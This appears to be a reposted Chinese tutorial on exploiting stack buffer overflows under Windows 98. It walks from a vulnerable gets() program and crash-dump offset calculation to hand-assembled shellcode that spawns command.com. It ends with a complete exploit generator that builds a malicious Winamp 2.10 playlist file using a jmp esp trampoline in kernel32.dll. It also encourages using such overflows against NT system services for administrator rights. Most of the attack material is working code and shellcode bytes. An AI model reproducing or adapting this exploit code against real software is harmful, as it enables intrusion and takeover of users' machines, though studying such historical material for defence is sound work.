window系统下的堆栈溢出

window系统下的堆栈溢出

?

作者:ipxodi<< mailto:ipxodi@263.net >>

?

????◆原理篇

?

这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序的

堆栈溢出漏洞。

?

让我们从头开始。windows 98第二版

?

首先,我们来写一个问题程序:

#include

?

int main()

{

char name[32];

gets(name);

for(int i=0;i<32&&name[i];i++)

printf("//0x%x",name[i]);

}

?

相信大家都看出来了,gets(name)对name数组没有作边界检查。那么我们可以给程序

一个很长的串,肯定可以覆盖堆栈中的返回地址。

?

C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61

/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61

?

到这里,出现了那个熟悉的对话框“该程序执行了非法操作。。。”,太好了,点击

详细信息按钮,看到EIP的值是0x61616161,哈哈,对话框还会把返回地址告诉我们。

这个功能太好了,我们可以选择一个序列的输入串,精确的确定存放返回地址的偏移位置。

?

C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1

12345678910111213141516171819202122232425262728293031323334353637383940

/0x31/0x32/0x33/0x34/0x35/0x36/0x37/0x38/0x39/0x31/0x30/0x31/0x31/0x31/0x32/0x31

/0x33/0x31/0x34/0x31/0x35/0x31/0x36/0x31/0x37/0x31/0x38/0x31/0x39/0x32/0x30/0x32

到这里,又出现了那个熟悉的对话框“改程序执行了非法操作。。。”,点击详细信息

按钮,下面是详细信息:

?

VUNERABLE 在 00de:32363235 的模块

<未知> 中导致无效页错误。

Registers:

EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246

EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233

ECX=00000020 DS=0187 ESI=816bffcc FS=11df

EDX=00411a68 ES=0187 EDI=00000000 GS=0000

Bytes at CS:EIP:

?

Stack dump:

32383237 33303339 33323331 33343333 33363335 33383337 c0000005 0064ff68

0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78 bff8b86c

?

哦哦,EIP的内容为0x32363235,就是2625,EBP的内容为0x32343233,就是2423,计算

一下可以知道,在堆栈中,从name变量地址开始偏移36处,是EBP的地址,从name变量

地址开始偏移40处,是ret的地址。我们可以给name数组输入我们精心编写的shellcode。

我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么,name的开始地址

是多少呢?

?

通过上面的stack dump 我们可以看到,当前ESP所指向的地址0x0064fe00,内容为

0x32383237,那么计算得出,name的开始地址为:0x0064fe00-44=0x64fdd4。在windows

系统,其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址都

是相同的。也就是说,每次运行,name的地址都是0x64fdd4。

?

讲到这里,大家一定已经发现了这样一个情况:在win系统中,由于有地址冲突检测,

出错时寄存器影像和堆栈影像,使得我们对堆栈溢出漏洞可以进行精确的分析

溢出偏移地址。这就使我们可以精确的方便的寻找堆栈溢出漏洞。

?

OK,万事具备,只差shellcode了。

?

首先,考虑一下我们的shellcode要作什么?显然,根据以往的经验,我们想开一个

dos窗口,这样在这个窗口下,我们就可以作很多事情。

?

开一个dos窗口的程序如下:

#include

#include

?

typedef void (*MYPROC)(LPTSTR);

int main()

{

HINSTANCE LibHandle;

MYPROC ProcAdd;

?

char dllbuf[11] = "msvcrt.dll";

char sysbuf[7] = "system";

char cmdbuf[16] = "command.com";

?

?

LibHandle = LoadLibrary(dllbuf);

?

ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

?

(ProcAdd) (cmdbuf);

?

return 0;

}

?

这个程序有必要详细解释一下。我们知道执行一个command.com就可以获得一个

dos窗口。在C库函数里面,语句system(command.com);将完成我们需要的功能。

但是,windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说,

windows通过动态链接库来提供系统函数。这就是所谓的Dll's。

?

因此,当我们想调用一个系统函数的时候,并不能直接引用他。我们必须找到那个

包含此函数的动态链接库,由该动态链接库提供这个函数的地址。DLL本身也有一个

基本地址,该DLL每一次被加载都是从这个基本地址加载。比如,system函数由msvcrt.dll

(the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都从

0x78000000地址开始。system函数位于msvcrt.dll的一个固定偏移处(这个偏移地址

只与msvcrt.dll的版本有关,不同的版本可能偏移地址不同)。我的系统上,

msvcrt.dll版本为(v6.00.8397.0)。system的偏移地址为0x019824。

?

所以,要想执行system,我们必须首先使用LoadLibrary(msvcrt.dll)装载动态链接库

msvcrt.dll,获得动态链接库的句柄。然后使用GetProcAddress(LibHandle, system)

获得 system的真实地址。之后才能使用这个真实地址来调用system函数。

?

好了,现在可以编译执行,结果正确,我们得到了一个dos框。

?

现在对这个程序进行调试跟踪汇编语言,可以得到:

?

15: LibHandle = LoadLibrary(dllbuf);

00401075 lea edx,dword ptr [dllbuf]

00401078 push edx

00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]

0040107F mov dword ptr [LibHandle],eax

16:

17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

00401082 lea eax,dword ptr [sysbuf]

00401085 push eax

00401086 mov ecx,dword ptr [LibHandle]

00401089 push ecx

0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]

00401090 mov dword ptr [ProcAdd],eax

;现在,eax的值为0x78019824就是system的真实地址。

;这个地址对于我的机器而言是唯一的。不用每次都找了。

18:

19: (ProcAdd) (cmdbuf);

00401093 lea edx,dword ptr [cmdbuf]

;使用堆栈传递参数,只有一个参数,就是字符串"command.com"的地址

00401096 push edx

00401097 call dword ptr [ProcAdd]

0040109A add esp,4

?

现在我们可以写出一段汇编代码来完成system,看以看我们的执行system调用的代码

是否能够像我们设计的那样工作:

?

#include

#include

?

void main()

{

?

LoadLibrary("msvcrt.dll");

?

__asm {

mov esp,ebp ;把ebp的内容赋值给esp

push ebp ;保存ebp,esp-4

mov ebp,esp ;给ebp赋新值,将作为局部变量的基指针

xor edi,edi ;

push edi ;压入0,esp-4,

;作用是构造字符串的结尾/0字符。

sub esp,08h ;加上上面,一共有12个字节,

;用来放"command.com"。

mov byte ptr [ebp-0ch],63h ;

mov byte ptr [ebp-0bh],6fh ;

mov byte ptr [ebp-0ah],6dh ;

mov byte ptr [ebp-09h],6Dh ;

mov byte ptr [ebp-08h],61h ;

mov byte ptr [ebp-07h],6eh ;

mov byte ptr [ebp-06h],64h ;

mov byte ptr [ebp-05h],2Eh ;

mov byte ptr [ebp-04h],63h ;

mov byte ptr [ebp-03h],6fh ;

mov byte ptr [ebp-02h],6dh ;生成串"command.com".

lea eax,[ebp-0ch] ;

push eax ;串地址作为参数入栈

mov eax, 0x78019824 ;

call eax ;调用system

}

}

?

编译,然后运行。好,DOS框出来了。在提示符下输入dir,copy......是不是想起了

当年用286的时候了?

?

敲exit退出来,哎呀,发生了非法操作。Access Violation。这是肯定的,因为我们的

程序已经把堆栈指针搞乱了。

?

对上面的算法进行优化,现在我们可以写出shellcode如下:

char shellcode[] = {

0x8B,0xE5, /*mov esp, ebp */

0x55, /*push ebp */

0x8B,0xEC, /*mov ebp, esp */

0x83,0xEC,0x0C, /*sub esp, 0000000C */

0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */

0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/

0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */

0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/

0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */

0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/

0x33,0xD2, /*xor edx, edx */

0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */

0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/

0x50, /*push eax */

0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */

0xFF,0xD0 /*call eax */

};

?

还记得第二讲中那个测试shellcode的基本程序吗?我们可以用他来测试这个shellcode:

#include

#include

char shellcode[] = {

0x8B,0xE5, /*mov esp, ebp */

0x55, /*push ebp */

0x8B,0xEC, /*mov ebp, esp */

0x83,0xEC,0x0C, /*sub esp, 0000000C */

0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */

0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/

0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */

0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/

0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */

0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/

0x33,0xD2, /*xor edx, edx */

0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */

0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/

0x50, /*push eax */

0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */

0xFF,0xD0 /*call eax */

};

?

int main() {

int *ret;

LoadLibrary("msvcrt.dll");

?

ret = (int *)&ret + 2; //ret 等于main()的返回地址

//(+2是因为:有push ebp ,否则加1就可以了。)

(*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地址。

?

}

编译运行,得到dos对话框。

?

现在总结一下。我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计算

偏移地址,以及如何编写一个shellcode以得到dos。理论上,你已经具备了利用堆栈溢出

的能力了,下面,我们通过实战来真正掌握他。

?

?

?

◆溢出字符串的设计

?

我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计算

偏移地址,以及如何编写一个shellcode以得到dos。

?

但是这远远不够。

?

大家知道windows系统的用户进程空间是0--2G,操作系统所占的为2--4G。

事实上用户进程的加载位置为:0x00400000.这个进程的所有指令地址,数据地址

和堆栈指针都会含有0,那么我们的返回地址就必然含有0。

?

现在来看一看我们的shellcode:NNNNSSSSAAAAAA。显然,我们的shellcode

由于A里面含有0,所以就变成了NNNNNNNNSSSSSA,这样,我们的返回地址A必须精确

的放在确切的函数堆栈中的ret位置。

?

事实上,在上一讲里面,我们已经掌握了很精确的找到这个位置的方法。

?

其次,windows在执行mov esp,ebp的时候,把废弃不用的堆栈用随机数据填充

(实验所得,机制如何,大家一起研究),因此我们的shellcode可能会被覆盖!

----这下完蛋了,我们的shellcode都没了,返回地址正确又有什么用??

?

所以,我们的shellcode必须改成如下方式:NNNNNNNNNNNNNNNNNASSSSSSSSS,在缓冲区

溢出发生之后,堆栈的布局如下:

?

内存底部 内存顶部

buffer EBP ret

<------ [NNNNNNNNNNN][N ] [A ]SSSS

^&buffer

堆栈顶部 堆栈底部

?

看到了吗?我们的A覆盖了返回地址。S位于堆栈的底部。A的内容,就是指向S的调用。

?

但是,刚才我们说过A里面是含有0字符的,这样的溢出字符串,在A处就被0阻断,

根本无法到shellcode。我们需要把A改成不包含0的地址。

?

好像没有办法了,是吗?现在我们的A如何能做到即可以跳转到我们的shellcode,

又可以不包含0字节呢?

?

大家可能还记得当年IIS4.0远程攻击的作者dark spyrit AKA Barnaby Jack吧?

他在99年的Phrack Magzine55.15 上提出了使用系统核心dll中的指令来完成跳转

的思想。我不得不说这是一个天才的想法。事实上,这一技巧开创了一个崭新

的windows缓冲区溢出的思路。

?

思路是这样的:返回地址A的内容不指向我们的shellcode开始地点,否则的话

A里面必然含有0。我们知道系统核心的dll都是在2-4G,也就是从0x80000000到

0xffffffff,这里面的指令地址将不包含0,(当然几个别的除外,我们可以不用他)。

因此,我们可以令返回地址A等于一个系统核心dll中的指令的地址,这个指令的

作用就是call/jmp 我们的shellcode。

?

但是他怎么才能知道我们的shellcode的地址呢?

?

答案是:用寄存器。因为在溢出发生的时候,除了eip跳到了系统核心dll去之外,

其他的通用寄存器都保持不变。在寄存器里面一定有我们的shellcode的相关信息。

比如说,敌人的函数如果有参数的话,那么我们的A覆盖了他的返回地址,shellcode

的开始地址则恰恰在他的第一个参数的位置上,那我们就可以用call [ebp+4]或者

我们假设敌人第一个参数的地址在eax,那我们就可以使用call/jmp eax来调用shellcode。

这些寄存器的值,我们可以在第一讲里面提到的“关闭程序框”里面获得寄存器和

堆栈的详细资料。

?

那么我们怎么知道哪里有call/jmp eax什么的呢?我们又怎么知道这些指令是每次都在

内存中可以直接调用呢?

?

答案是:系统核心dll。系统核心dll包括kernel32.dll,user32.dll,gdi32.dll.

这些dll是一直位于内存中而且对应于固定的版本windows加载的位置是固定的。

你可以在这些dll里面搜索你需要的指令。其他的dll,比如msvcrt。dll就要去看程序

自己的import列表了。看看他是否load了这个dll。不过一般的说,这几个dll就够了。

?

好,那么我们的shellcode最终为:

NNNNNNNNNNNNNNNASSSSSSSS

其中:N为NOP指令

A为指向某一条call/jmp指令的地址,这个call/jmp指令位于系统核心内存>0x80000000,

这个call/jmp指令具体的内容,需要根据我们exploit出来的结果分析得知。

S:shellcode。

?

有了这些基础知识,我们来分析一个实例。

?

大家都有winamp吧,他的2.10有缓冲区漏洞,下面我们来实现一个exploit。

?

winamp的playlist支持文件*.pls存放playlist。playlist里面的文件名长度

如果大于一定长度就会发生堆栈溢出。我们可以写出测试串,精确的测试。

test.cpp

----------------------------------------------------------------------------

#include

?

int main()

{

char buffer[640];

char eip[8] = "";

char sploit[256] = "";

FILE *file;

?

for(int x=0;x<640;x++)

{

switch(x%4) {

case 0: buffer[x] = 'A';break;

case 1: buffer[x] = 'A'+x/26%26/26%26; break;

case 2: buffer[x] = 'A'+x/26%26; break;

case 3: buffer[x] = 'A'+x%26;break;

?

}

}

buffer[x]=0;

file = fopen("crAsh.pls","wb");

?

fprintf(file, "[playlist]/n");

fprintf(file, "File1=");

fprintf(file, "%s", buffer);

fprintf(file, "%s", eip);

fprintf(file, "%s", sploit);

fprintf(file, "/nNumberOfEntries=1");

?

fclose(file);

printf("/t created file crAsh.pls loaded with the exploit./n");

return 0;

}

----------------------------------------------------------------------------

算法很简单,是写出一个crach.pls文件,内容可以根据那几个fprintf看出来的。

我就不讲了,其中buffer的内容为测试用的字符串。这个测试程序可以测试

最长为26^3的串,足够了。

?

编译执行,看看结果,嘿,发生了堆栈溢出,结果如下:

?

WINAMP 在 00de:4c574141 的模块

<未知> 中导致无效页错误。

Registers:

EAX=00000001 CS=017f EIP=4c574141 EFLGS=00000206

EBX=006da30c SS=0187 ESP=006da170 EBP=006da2f4

ECX=00000000 DS=0187 ESI=00445638 FS=4bd7

EDX=005b02dc ES=0187 EDI=00000001 GS=4206

Bytes at CS:EIP:

?

Stack dump:

50574141 54574141 58574141 42584141 46584141 4a584141

4e584141 52584141 56584141 5a584141 44594141 48594141

4c594141 50594141

?

根据eip=4141574c计算得出,addr = (57h-41h)*26+(4ch-41h)-4 = 580.

好,溢出的位置为580。

?

大家现在知道我们的溢出字符串中,返回地址A应该在串的580处,那么我们应该

让他使用什么call/jmp指令以达到shellcode呢?

?

看看寄存器dump,我们发现ESP里面的内容是41415750,恰好是4141574c之后的

第一个数。看来ESP指向我们的shellcode,太棒了!我们使用指令:

jmp ESP 就可以执行我们的shellcode了。

?

现在找出jmp esp的指令码为 FF E4,ctrl-D 调出s-ice,看看内存里面那里有FF E4.

因为系统核心dll的加载地址都是从地址0xBf000000开始,所以我们

搜索s Bf000000 L ffffffff ff,e4

得到了哪些结果?

?

一堆呀,这第一个是:BFF795A3。看看softice里面的进程名称栏:

Kernel32!GetDataFormatA+1554好,是kernel32.dll里面的,肯定是可以用的啦。

ok,问题解决,我们现在可以确定在buffer〔580〕处,写入四个字节:

"/xa3/x95/xf7/xbf".这就是我们的溢出字符串中的返回地址A。

?

好了,现在溢出字符串已经基本分析完了,就差shellcode了。

下面我们来写shellcode。

我们的shellcode要开一个dos窗口。C语言的算法描述是:

?

LoadLibrary("msvcrt.dll");

system("command.com");

exit(0);

很简单,是不是?下面是汇编代码:

?

首先要LoadLibrary("msvcrt.dll");

push ebp

mov ebp,esp

xor eax,eax

push eax

push eax

push eax

mov byte ptr[ebp-0Ch],4Dh

mov byte ptr[ebp-0Bh],53h

mov byte ptr[ebp-0Ah],56h

mov byte ptr[ebp-09h],43h

mov byte ptr[ebp-08h],52h

mov byte ptr[ebp-07h],54h

mov byte ptr[ebp-06h],2Eh

mov byte ptr[ebp-05h],44h

mov byte ptr[ebp-04h],4Ch

mov byte ptr[ebp-03h],4Ch

mov edx,0xBFF776D4 //LoadLibrary

push edx

lea eax,[ebp-0Ch]

push eax

call dword ptr[ebp-10h]

然后是开一个dos窗口:

push ebp

mov ebp, esp

sub esp, 0000002C

mov eax, 6D6D6F63

mov dword ptr [ebp-0C], eax

mov eax, 2E646E61

mov dword ptr [ebp-08], eax

mov eax, 226D6F63

mov dword ptr [ebp-04], eax

xor edx, edx

mov byte ptr [ebp-01], dl

lea eax, dword ptr [ebp-0C]

push eax

mov eax, 78019824 //system

call eax

最后执行exit,退出来。

?

push ebp

mov ebp,esp

mov edx,0xFFFFFFFF

sub edx,0x87FFAAFB//exit

push edx

xor eax,eax

push eax

call dword ptr[ebp-04h]

?

简单说一下,msvcrt.dll是运行C语言标准库函数所必须的一个动态链接库。

要想使用system,exit,必须加载这个库。而winamp没有import这个库,

所译我们需要自己加载。

指令 mov edx,0xBFF776D4中,0xBFF776D4是函数LoadLibraryA的地址。

他的代码在kernel32.dll中,是被winamp加载了的dll。我的机器上kernel32.dll

版本是: (v4.10.2222) .

0x78019824 是msvcrt.dll里面的函数system的地址。版本:(v6.00.8397.0)

0x78005504 是msvcrt.dll里面的函数exit的地址。版本:(v6.00.8397.0)

由于里面有0,所以使用两条指令来完成:

mov edx,0xFFFFFFFF

sub edx,0x87FFAAFB//==mov edx,0x78005504

?

编译,找出二进制code:

shellcode:

"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"

"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"

"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA/x50/x77/xF7/xbF/x52/x8D/x45/xF4/x50"

"/xFF/x55/xF0"

"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"

"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"

"/x50/xB8/x24/x98/x01/x78/xFF/xD0"

"/x55/x8B/xEC/xBA/xFF/xFF/xFF/xFF/x81/xEA/xFB/xAA/xFF/x87/x52/x33/xC0/x50/xFF/x55/xFC";

?

好了,所有的算法都讨论完了,下一讲我们就来实现一个exploit

?

?

?

?

?

◆最后的完善

?

我们把前面写的测试程序稍加改动就是一个exploit程序:

exploit.cpp

----------------------------------------------------------------------------

#include

?

int main()

{

?

?

char buffer[640];

char eip[8] = "/xa3/x95/xf7/xBF";

char shellcode[256] =

"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"//load

"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"

"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA/x50/x77/xF7/xbF/x52/x8D/x45/xF4/x50"

"/xFF/x55/xF0"

"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"

"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"

"/x50/xB8/x24/x98/x01/x78/xFF/xD0"

"/x55/x8B/xEC/xBA/xFF/xFF/xFF/xFF/x81/xEA/xFB/xAA/xFF/x87/x52/x33/xC0/x50/xFF/x55/xFC";

?

FILE *file;

?

for(int x=0;x<580;x++)

{

buffer[x] = 0x90;

}

?

file = fopen("crAsh.pls","wb");

?

fprintf(file, "[playlist]/n");

fprintf(file, "File1=");

fprintf(file, "%s", buffer);

fprintf(file, "%s", eip);

fprintf(file, "%s", shellcode);

fprintf(file, "/nNumberOfEntries=1");

?

fclose(file);

printf("/t created file crAsh.pls loaded with the exploit./n");

return 0;

}

----------------------------------------------------------------------------

?

OK,运行他,生成一个文件叫做crash.pls.在winamp里面打开这个playlist,

就应该出一个dos。出来了吗?

?

哎呀,怎么又是错误?

?

WINAMP 在 017f:004200c3 的模块

WINAMP.EXE 中导致无效页错误。

Registers:

EAX=00000001 CS=017f EIP=004200c3 EFLGS=00000206

EBX=006da30c SS=0187 ESP=006da171 EBP=006da2f4

ECX=00000000 DS=0187 ESI=00445638 FS=444f

EDX=005b02dc ES=0187 EDI=00000001 GS=4446

Bytes at CS:EIP:

00 85 f6 7d 06 03 35 dc 23 44 00 8b 6c 24 10 3b

Stack dump:

0a006da1 8000009d 0000442a 90000000 90909090 90909090

90909090 90909090 90909090 90909090 90909090 90909090

90909090 90909090 90909090 90909090

?

看看出错信息,EIP是4200c3,看来已经开始执行我们的shellcode了,怎么会有

无效页错误呢?看来我们的shellcode有问题。

?

这个时候,s-ice就又派上用场了,跟踪一下看看:

ctrl-d

bpx bff795a3(就是我们的jmp esp)

x

好,现在运行winamp,打开文件crash.pls,被s-ice拦下,开始跟踪。一个jmp esp

之后,就到了我们的shellcode上,继续执行,看到了什么吗?

?

奇怪!我们的shellcode变短了,到B8249801,后面就没有了。这是怎么回事?

应该是/xB8/x24/x98/x01/x78呀,/x01到什么地方去了?

?

看来敌人把输入的溢出字符串作乐处理,把不能作为文件名的字符都作为0处理了

(事实上这是win32api函数作的处理)。我们的shellcode被截断了。

?

我在第4讲第一节就说过对这种问题的对策。这个问题的解决需要我们改换shellcode,

去掉那些有问题的字符:/x01

?

我们作如下替换:

mov eax,78019824 ----> mov eax,ffffffff

sub eax,87fe67db

汇编得到:

?

xB8/x24/x98/x01/x78 ----> /xB8/xFF/xFF/xFF/xFF

/x2d/xdB/x67/xFe/x87

得到下面的新程序:

/* Stack based buffer overflow exploit for Winamp v2.10

* Author Steve Fewer, 04-01-2k. Mail me at darkplan@oceanfree.net

*

* For a detailed description on the exploit see my advisory.

*

* Tested with Winamp v2.10 using Windows98 on an Intel

* PII 400 with 128MB RAM

*

* http://indigo.ie/~lmf

?

* modify by ipxodi 20-01-2k

?

* for windows98 the 2nd version and for a new shellcode.

?

* windows98 v 4.10.2222.A chinese version

* pII 366 with 64MB RAM(Not a good PC,en?)

?

* ipxodi@263.net

*/

?

#include

?

int main()

{

?

char buffer[640];

char eip[8] = "/xa3/x95/xf7/xbf";

char sploit[256] = "/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"

"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"

"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA/x50/x77/xF7/xbF/x52/x8D/x45/xF4/x50"

"/xFF/x55/xF0"

"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"

"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"

"/x50/xB8/xFF/xFF/xFF/xFF/x2d/xdB/x67/xFe/x87/xFF/xD0"

"/x55/x8B/xEC/xBA/xFF/xFF/xFF/xFF/x81/xEA/xFB/xAA/xFF/x87/x52/x33/xC0/x50/xFF/x55/xFC";

?

FILE *file;

?

for(int x=0;x<580;x++)

{

buffer[x] = 0x90;

}

buffer[x]=0;

file = fopen("crAsh.pls","wb");

?

fprintf(file, "[playlist]/n");

fprintf(file, "File1=");

fprintf(file, "%s", buffer);

fprintf(file, "%s", eip);

fprintf(file, "%s", sploit);

fprintf(file, "/nNumberOfEntries=1");

?

fclose(file);

printf("/t created file crAsh.pls loaded with the exploit./n");

return 0;

}

?

?

OK,运行他,生成一个文件叫做crash.pls.在winamp里面打开这个playlist,

结果如下,我可爱的dos出来了:

?

Microsoft(R) Windows 98

(C)Copyright Microsoft Corp 1981-1999.

?

D:/hacker/document/ipxodi>dir

.........................

........就不贴了.........

?

?

总结:

?

经过这次实战的演练,大家一定对windows下的buffer overflow有了很深的掌握了。

我们可以看到,windows下的堆栈溢出攻击和unix下的,原理基本相同。但是,

由于windows用户进程地址空间分配和堆栈处理有其独立的特点,导致了windows

环境下堆栈溢出攻击时,使用的堆栈溢出字符串,与unix下的,区别很大。这也

是我在写完linux下的堆栈溢出系列之后,另外写windows系列的原因。

?

另外,大家从破解的过程中,可以发现我一再强调windows的版本。事实上,这

也导致了windows下的exploit不具有通用性。大家的windows版本不一,

而exploit使用了很多动态链接库里面的库函数,其地址都是与dll的版本有

关系的。不同的dll版本,里面的库函数的偏移地址就可能(注意:是可能)

不同。因为windows的patch天天有,他的一些dll就更新很快。甚至可能不同

语言版本的windows,其核心dll的版本都不同。用户的dll一变更,

那么,我们的exploit里面的shellcode就要重新写。

?

为了解决这个问题,我想我们可以尽量减少固定地址的使用。即,使用

GetProcAddress来获得我们将使用的每一个系统函数,当然这就大大加长了

我们的shellcode。但是,这也无法消除对kernel32.dll的中LoadLibrary和

GetProcAddress的地址的直接引用,因为这两个是shellcode中最基本的

函数,自然就导致了对kernel32.dll版本的依赖。

?

这里奉劝大家,当你写的exploit发生无效页错误时,不要灰心。运行sice,

跟踪你的shellcode,会发现问题的根源的。

?

因此,这也回答了去年xsz,littleworm它们的问题。当时我们实验IIS4.0

的exploit总是没有成功,client端执行完了以后server端我们经常看到

access violation的框,就是因为shellcode的版本依赖问题导致的。

?

所以,对于windows下的堆栈溢出exploit,必须公开原代码,才能由其他人完成

别的版本的修改,这一点,大家以后公布exploit时,要记住。

?

说一句题外话:

很多人运行了堆栈溢出exploit以后没有成功,就认为自己的机器没有毛病。

对此,dark spyrit AKA Barnaby Jack曾有这样的建议:

If the exploit failed......

Do not determine the threat to your servers solely on the results of one

public exploit - the vulnerability exists, fix it. If you think that was

the only demonstration code floating around you need your head examined.

?

以前咱们水木黑客版97年堆栈溢出大讨论的时候,rainer就很高水平的探讨过

windows下的buffer overflow。他的文章现在还在,大家可以去精华区看看。

不过当时只是探讨原理,还停留在堆栈溢出的可行性,远没有探讨利用他来攻击。

我也曾经以为windows的堆栈溢出攻击是不必要的。

?

后来,NT的中普通用户获取admin,我想到过仿照UNIX,搞缓冲区溢出攻击。

因为NT里面有很多系统进程,都是以system账号启动的。如果我们可以将它们

overflow,按照上面的方法,可以得到dos,(NT下是cmd.exe),将拥有

超级用户的权限。当然可以为所欲为了。

?

这只是windows NT下堆栈溢出攻击的一个应用。去年,我研究IIS4.0的溢出之后,

发现带有问题的windows网络服务程序导致了windows堆栈溢出,可以帮助我们

获得远程控制。才认识到windows堆栈溢出攻击将是一个很有研究价值的攻击

手段。

?

在后续的研究中,有时候因为困难几乎要放弃。好在有小懒虫(sysword),

小四(hellguard),康师傅(kxn)这些网友

给我的督促和帮助。在此感谢,同时感谢以前一起讨论过windows系列堆栈溢出

的朋友littleworm,xsz它们。

?

最后,我希望我的讲座作为抛砖引玉,能够引发大家更深入的探讨。希望大家在

看了之后,能够对windows堆栈溢出技术有一定了了解。如果大家能够提出改进的

算法,或者发现新的exploit,就真正是光大了我们黑客版的精神。

?

让我们以下面这句话共勉:

"If you assume that there's no hope, you guarantee there will be no hope.

If you assume that there is an instinct for freedom, there are

opportunities to change things."

?

-Noam Chomsky

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值